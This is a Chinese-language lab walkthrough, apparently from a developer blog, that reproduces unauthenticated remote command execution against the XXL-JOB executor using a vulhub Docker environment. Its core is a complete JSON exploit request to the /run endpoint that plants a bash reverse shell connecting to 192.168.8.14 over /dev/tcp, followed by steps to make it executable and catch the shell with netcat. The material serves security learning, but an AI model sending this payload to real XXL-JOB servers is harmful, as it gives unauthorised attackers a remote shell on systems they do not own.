1、漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

2、靶场搭建

靶场使用vulhub
进入vulhub/xxl-job/unacc目录下,执行docker-compose up -d
在这里插入图片描述
容器起来后,docker ps -a看一下
在这里插入图片描述
浏览器访问http://your-ip:9999
在这里插入图片描述
看到如上图,说明漏洞环境部署成功。

3、漏洞复现(反弹shell)

浏览器访问http://your-ip:9999/run,并通过bp抓包
在这里插入图片描述

修改请求方式为POST ,并写入exp,然后发送请求

exp:

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "echo 'bash -i >& /dev/tcp/192.168.8.14/9999 0>&1' > /tmp/1.sh",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

在这里插入图片描述
将/tmp/1.sh赋予可执行权限
在这里插入图片描述
开启nc监听
在这里插入图片描述
执行命令:
在这里插入图片描述
查看nc监听,反弹成功
在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐